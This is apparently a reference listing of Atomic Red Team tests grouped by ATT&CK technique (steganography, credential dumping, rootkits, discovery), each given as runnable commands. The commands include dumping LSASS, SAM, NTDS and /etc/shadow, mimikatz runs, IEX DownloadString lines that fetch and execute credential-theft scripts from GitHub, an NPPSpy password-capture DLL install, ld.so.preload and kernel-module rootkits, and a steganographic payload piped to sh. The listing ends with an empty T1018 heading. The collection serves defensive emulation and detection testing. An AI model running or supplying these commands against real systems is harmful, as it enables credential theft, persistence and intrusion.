Atomic Red Team Search / Reference Thing

T1001.002 - Data Obfuscation via Steganography

Steganographic Tarball Embedding

Get-Content "T1001.002\bin\T1001.002.jpg", "$env:PUBLIC\Downloads\T1001.002.tarz" -Encoding byte -ReadCount 0 | Set-Content "$env:PUBLIC\Downloads\T1001.002New.jpg" -Encoding byte

T1001.002 - Data Obfuscation via Steganography

Embedded Script in Image Execution via Extract-Invoke-PSImage

cd "ExternalPayloads\"
Import-Module .\Extract-Invoke-PSImage.ps1
$extractedScript=Extract-Invoke-PSImage -Image "T1001.002\bin\evil_kitten.jpg" -Out "$HOME\result.ps1"
$scriptContent = Get-Content "$HOME\result.ps1" -Raw
$base64Pattern = "(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])"
$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }
$base64Strings | Set-Content "$HOME\decoded.ps1"
$decodedContent = Get-Content "$HOME\decoded.ps1" -Raw
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))
$textPattern = '^.+'
$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }
$scriptPath = "$HOME\textExtraction.ps1"
$textMatches -join '' | Set-Content -Path $scriptPath
. "$HOME\textExtraction.ps1"

T1001.002 - Data Obfuscation via Steganography

Execute Embedded Script in Image via Steganography

cat "script.sh" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "image.jpg" - > "evil_image.jpg"; strings "evil_image.jpg" | tail -n 1 | base64 -d | sh

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using ProcDump

"..\ExternalPayloads\procdump.exe" -accepteula -ma lsass.exe C:\Windows\Temp\lsass_dump.dmp

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using comsvcs.dll

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using direct system calls and API unhooking

"..\ExternalPayloads\Outflank-Dumpert.exe"

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using NanoDump

..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using Windows Task Manager

{MISSING IN ATOMIC RED TEAM}

T1003.001 - OS Credential Dumping: LSASS Memory

Offline Credential Theft With Mimikatz

"..\ExternalPayloads\x64\mimikatz.exe" "sekurlsa::minidump %tmp%\lsass.DMP" "sekurlsa::logonpasswords full" exit

T1003.001 - OS Credential Dumping: LSASS Memory

LSASS read with pypykatz

"..\ExternalPayloads\venv_t1003_001\Scripts\pypykatz" live lsa

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory using Out-Minidump.ps1

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump

T1003.001 - OS Credential Dumping: LSASS Memory

Create Mini Dump of LSASS.exe using ProcDump

"..\ExternalPayloads\procdump.exe" -accepteula -mm lsass.exe C:\Windows\Temp\lsass_dump.dmp

T1003.001 - OS Credential Dumping: LSASS Memory

Powershell Mimikatz

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS with createdump.exe from .Net v5

$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe using imported Microsoft DLLs

C:\Windows\Temp\xordump.exe -out C:\Windows\Temp\lsass-xordump.t1003.001.dmp -x 0x41

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe using lolbin rdrleakdiag.exe

if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."

T1003.001 - OS Credential Dumping: LSASS Memory

Dump LSASS.exe Memory through Silent Process Exit

..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "%temp%\SilentProcessExit"

T1003.002 - OS Credential Dumping: Security Account Manager

Registry dump of SAM, creds, and secrets

reg save HKLM\sam %temp%\sam
reg save HKLM\system %temp%\system
reg save HKLM\security %temp%\security

T1003.002 - OS Credential Dumping: Security Account Manager

Registry parse with pypykatz

"..\ExternalPayloads\venv_t1003_002\Scripts\pypykatz" live lsa

T1003.002 - OS Credential Dumping: Security Account Manager

esentutl.exe SAM copy

esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %temp%/SAM

T1003.002 - OS Credential Dumping: Security Account Manager

PowerDump Hashes and Usernames from Registry

Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "..\ExternalPayloads\PowerDump.ps1"
Invoke-PowerDump

T1003.002 - OS Credential Dumping: Security Account Manager

dump volume shadow copy hives with certutil

for /L %a in (1,1,10) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\SAM" %temp%\SAMvss%a 2 >nul 2>&1) & dir /B %temp%\SAMvss*

T1003.002 - OS Credential Dumping: Security Account Manager

dump volume shadow copy hives with System.IO.File

1..10 | % {
try { [System.IO.File]::Copy("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$_\Windows\System32\config\SAM" , "$env:TEMP\SAMvss$_", "true") } catch {}
ls "$env:TEMP\SAMvss$_" -ErrorAction Ignore
}

T1003.002 - OS Credential Dumping: Security Account Manager

WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
samfile -consoleoutput -noninteractive

T1003.002 - OS Credential Dumping: Security Account Manager

Dumping of SAM, creds, and secrets(Reg Export)

reg export HKLM\sam %temp%\sam
reg export HKLM\system %temp%\system
reg export HKLM\security %temp%\security

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy with vssadmin

vssadmin.exe create shadow /for=C:

T1003.003 - OS Credential Dumping: NTDS

Copy NTDS.dit from Volume Shadow Copy

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM_HIVE

T1003.003 - OS Credential Dumping: NTDS

Dump Active Directory Database with NTDSUtil

mkdir C:\Windows\Temp\ntds_T1003
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds_T1003" q q

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy with WMI

wmic shadowcopy call create Volume=C:\

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy remotely with WMI

wmic /node:"localhost" shadowcopy call create Volume=C:\

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy remotely (WMI) with esentutl

wmic /node:"localhost" process call create "cmd.exe /c esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\ntds.dit"

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy with Powershell

(gwmi -list win32_shadowcopy).Create('C:\','ClientAccessible')

T1003.003 - OS Credential Dumping: NTDS

Create Symlink to Volume Shadow Copy

vssadmin.exe create shadow /for=C:
mklink /D C:\Temp\vssstore \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

T1003.003 - OS Credential Dumping: NTDS

Create Volume Shadow Copy with diskshadow

mkdir c:\exfil
diskshadow.exe /s T1003.003\src\diskshadow.txt

T1003.004 - OS Credential Dumping: LSA Secrets

Dumping LSA Secrets

"..\ExternalPayloads\T1003.004\bin\PsExec.exe" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y

T1003.004 - OS Credential Dumping: LSA Secrets

Dump Kerberos Tickets from LSA using dumper.ps1

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')

T1003.005 - OS Credential Dumping: Cached Domain Credentials

Cached Credential Dump via Cmdkey

cmdkey /list

T1003.006 - OS Credential Dumping: DCSync

DCSync (Active Directory)

%tmp%\mimikatz\x64\mimikatz.exe "lsadump::dcsync /domain:%userdnsdomain% /user:krbtgt@%userdnsdomain%" "exit"

T1003.006 - OS Credential Dumping: DCSync

Run DSInternals Get-ADReplAccount

Get-ADReplAccount -All -Server $ENV:logonserver.TrimStart("\")

T1003.007 - OS Credential Dumping: Proc Filesystem

Dump individual process memory with sh (Local)

sh /tmp/T1003.007.sh
PID=$(pgrep -n -f "T1003.007")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="/tmp/T1003.007.bin" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "/tmp/T1003.007.bin"

T1003.007 - OS Credential Dumping: Proc Filesystem

Dump individual process memory with sh on FreeBSD (Local)

sh /tmp/T1003.007.sh
PID=$(pgrep -n -f "T1003.007")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="/tmp/T1003.007.bin" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "/tmp/T1003.007.bin" | grep -i PASS

T1003.007 - OS Credential Dumping: Proc Filesystem

Dump individual process memory with Python (Local)

sh /tmp/T1003.007.sh
PID=$(pgrep -n -f "T1003.007")
PYTHON=$(which python || which python3 || which python2)
$PYTHON T1003.007/src/dump_heap.py $PID /tmp/T1003.007.bin
grep -i "PASS" "/tmp/T1003.007.bin"

T1003.007 - OS Credential Dumping: Proc Filesystem

Capture Passwords with MimiPenguin

sudo /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh > /tmp/T1003.007Test3.txt
cat /tmp/T1003.007Test3.txt

T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Access /etc/shadow (Local)

sudo cat /etc/shadow > /tmp/T1003.008.txt
cat /tmp/T1003.008.txt

T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Access /etc/master.passwd (Local)

sudo cat /etc/master.passwd > /tmp/T1003.008.txt
cat /tmp/T1003.008.txt

T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Access /etc/passwd (Local)

cat /etc/passwd > /tmp/T1003.008.txt
cat /tmp/T1003.008.txt

T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat

unamestr=$(uname)
if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > /tmp/T1003.008.txt; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > /tmp/T1003.008.txt; fi

T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow

Access /etc/{shadow,passwd,master.passwd} with shell builtins

testcat(){ (while read line; do echo $line >> /tmp/T1003.008.txt; done < $1) }
[ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
testcat /etc/passwd
testcat /etc/shadow

T1003 - OS Credential Dumping

Gsecdump

"..\ExternalPayloads\gsecdump.exe" -a

T1003 - OS Credential Dumping

Credential Dumping with NPPSpy

Copy-Item "..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"

T1003 - OS Credential Dumping

Dump svchost.exe to gather RDP credentials

$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full

T1003 - OS Credential Dumping

Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)

C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*

T1003 - OS Credential Dumping

Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)

C:\Windows\System32\inetsrv\appcmd.exe list apppool /config

T1003 - OS Credential Dumping

Dump Credential Manager using keymgr.dll and rundll32.exe

rundll32.exe keymgr,KRShowKeyMgr

T1003 - OS Credential Dumping

Send NTLM Hash with RPC Test Connection

rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM 1>$Null

T1005 - Data from Local System

Search files of interest and save them to a single zip file (Windows)

$startingDirectory = "C:\Users"
$outputZip = "..\ExternalPayloads\T1005"
$fileExtensionsString = ".doc, .docx, .txt"
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}

T1005 - Data from Local System

Find and dump sqlite databases (Linux)

cd $HOME
curl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/art
curl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/gta.db
curl -O https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;

T1005 - Data from Local System

Copy Apple Notes database files using AppleScript

osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "/private/tmp"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'

T1006 - Direct Volume Access

Read volume boot sector via DOS device path (PowerShell)

$buffer = New-Object byte[] 11
$handle = New-Object IO.FileStream "\\.\C:", 'Open', 'Read', 'ReadWrite'
$handle.Read($buffer, 0, $buffer.Length)
$handle.Close()
Format-Hex -InputObject $buffer

T1007 - System Service Discovery

System Service Discovery

tasklist.exe
sc query
sc query state= all

T1007 - System Service Discovery

System Service Discovery - net.exe

net.exe start >> %temp%\service-list.txt

T1007 - System Service Discovery

System Service Discovery - systemctl/service

if [ "$(uname)" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;

T1007 - System Service Discovery

Get-Service Execution

powershell.exe Get-Service

T1010 - Application Window Discovery

List Process Main Windows - C# .NET

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:%TEMP%\T1010.exe "T1010\src\T1010.cs"
%TEMP%\T1010.exe

T1012 - Query Registry

Query Registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"

T1012 - Query Registry

Query Registry with Powershell cmdlets

Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\" | findstr Windows
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunServices"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
Get-Item -Path "HKCU:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
Get-Item -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\RunOnceEx"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-Item -Path "HKCU:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
Get-ChildItem -Path "HKLM:system\currentcontrolset\services"
Get-Item -Path "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
Get-Item -Path "HKLM:SYSTEM\CurrentControlSet\Control\SafeBoot"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Active Setup\Installed Components"
Get-ChildItem -Path "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup"

T1012 - Query Registry

Enumerate COM Objects in Registry with Powershell

New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt
ForEach($CLSID in Get-Content "$env:temp\clsids.txt")
{try{write-output "$($Position)-$($CLSID)"
write-output "------------"| out-file $env:temp\T1592.002Test1.txt -append
write-output $($CLSID)| out-file $env:temp\T1592.002Test1.txt -append
$handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | get-member -erroraction silentlycontinue | out-file $env:temp\T1592.002Test1.txt -append
$position += 1} catch{}}

T1012 - Query Registry

Reg query for AlwaysInstallElevated status

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

T1012 - Query Registry

Check Software Inventory Logging (SIL) status via Registry

reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

T1012 - Query Registry

Inspect SystemStartOptions Value in Registry

reg.exe query HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions

T1014 - Rootkit

Loadable Kernel Module based Rootkit

sudo insmod T1014/bin/T1014.ko

T1014 - Rootkit

Loadable Kernel Module based Rootkit

sudo modprobe T1014

T1014 - Rootkit

dynamic-linker based rootkit (libprocesshider)

echo /usr/local/lib/libprocesshider.so | tee -a /etc/ld.so.preload
/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"

T1014 - Rootkit

Loadable Kernel Module based Rootkit (Diamorphine)

sudo modprobe diamorphine
ping -c 10 localhost >/dev/null & TARGETPID="$!"
ps $TARGETPID
kill -31 $TARGETPID
ps $TARGETPID || echo "process ${TARGETPID} hidden"

T1016.001 - System Network Configuration Discovery: Internet Connection Discovery

Check internet connection using ping Windows

ping -n 4 8.8.8.8

T1016.001 - System Network Configuration Discovery: Internet Connection Discovery

Check internet connection using ping freebsd, linux or macos

ping -c 4 8.8.8.8

T1016.001 - System Network Configuration Discovery: Internet Connection Discovery

Check internet connection using Test-NetConnection in PowerShell (ICMP-Ping)

Test-NetConnection -ComputerName 8.8.8.8

T1016.001 - System Network Configuration Discovery: Internet Connection Discovery

Check internet connection using Test-NetConnection in PowerShell (TCP-HTTP)

Test-NetConnection -CommonTCPPort HTTP -ComputerName www.google.com

T1016.001 - System Network Configuration Discovery: Internet Connection Discovery

Check internet connection using Test-NetConnection in PowerShell (TCP-SMB)

Test-NetConnection -CommonTCPPort SMB -ComputerName 8.8.8.8

T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery

Enumerate Stored Wi-Fi Profiles And Passwords via netsh

netsh wlan show profile * key=clear

T1016 - System Network Configuration Discovery

System Network Configuration Discovery on Windows

ipconfig /all
netsh interface show interface
arp -a
nbtstat -n
net config

T1016 - System Network Configuration Discovery

List Windows Firewall Rules

netsh advfirewall firewall show rule name=all

T1016 - System Network Configuration Discovery

System Network Configuration Discovery

if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi;
if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;

T1016 - System Network Configuration Discovery

System Network Configuration Discovery (TrickBot Style)

ipconfig /all
net config workstation
net view /all /domain
nltest /domain_trusts

T1016 - System Network Configuration Discovery

List Open Egress Ports

$ports = Get-content "T1016\src\top-128.txt"
$file = "$env:USERPROFILE\Desktop\open-ports.txt"
$totalopen = 0
$totalports = 0
New-Item $file -Force
foreach ($port in $ports) {
$test = new-object system.Net.Sockets.TcpClient
$wait = $test.beginConnect("allports.exposed", $port, $null, $null)
$wait.asyncwaithandle.waitone(250, $false) | Out-Null
$totalports++ | Out-Null
if ($test.Connected) {
$result = "$port open"
Write-Host -ForegroundColor Green $result
$result | Out-File -Encoding ASCII -append $file
$totalopen++ | Out-Null
}
else {
$result = "$port closed"
Write-Host -ForegroundColor Red $result
$totalclosed++ | Out-Null
$result | Out-File -Encoding ASCII -append $file
}
}
$results = "There were a total of $totalopen open ports out of $totalports ports tested."
$results | Out-File -Encoding ASCII -append $file
Write-Host $results

T1016 - System Network Configuration Discovery

Adfind - Enumerate Active Directory Subnet Objects

"..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet) None

T1016 - System Network Configuration Discovery

Qakbot Recon

"T1016\src\qakbot.bat"

T1016 - System Network Configuration Discovery

List macOS Firewall Rules

sudo defaults read /Library/Preferences/com.apple.alf
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate

T1016 - System Network Configuration Discovery

DNS Server Discovery Using nslookup

nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%

T1018 - Remote System Discovery

Remote System Discovery - net

net view /domain
net view

T1018 - Remote System Discovery

Remote System Discovery - net group Domain Computers

net group "Domain Computers" /domain

T1018 - Remote System Discovery

Remote System Discovery - nltest

nltest.exe /dclist:%userdnsdomain%

T1018 - Remote System Discovery

Remote System Discovery - ping sweep

for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i

T1018 - Remote System Discovery

Remote System Discovery - arp

arp -a

T1018 - Remote System Discovery

Remote System Discovery - arp nix

arp -a | grep -v '^?'

T1018 - Remote System Discovery

Remote System Discovery - sweep

for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip; [ $? -eq 0 ] && echo "192.168.1.$ip UP" || : ; done

T1018 - Remote System Discovery

Remote System Discovery - nslookup

$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}

T1018 - Remote System Discovery

Remote System Discovery - adidnsdump

"..\ExternalPayloads\venv_t1018\Scripts\adidnsdump" -u domain\user -p password --print-zones 192.168.1.1

T1018 - Remote System Discovery

Adfind - Enumerate Active Directory Computer Objects

"..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) None

T1018 - Remote System Discovery

Adfind - Enumerate Active Directory Domain Controller Objects

"..\ExternalPayloads\AdFind.exe" None -sc dclist

T1018 - Remote System Discovery

Remote System Discovery - ip neighbour

ip neighbour show

T1018 - Remote System Discovery

Remote System Discovery - ip route

ip route show

T1018 - Remote System Discovery

Remote System Discovery - netstat

netstat -r | grep default

T1018 - Remote System Discovery

Remote System Discovery - ip tcp_metrics

ip tcp_metrics show |grep --invert-match "^127\."

T1018 - Remote System Discovery

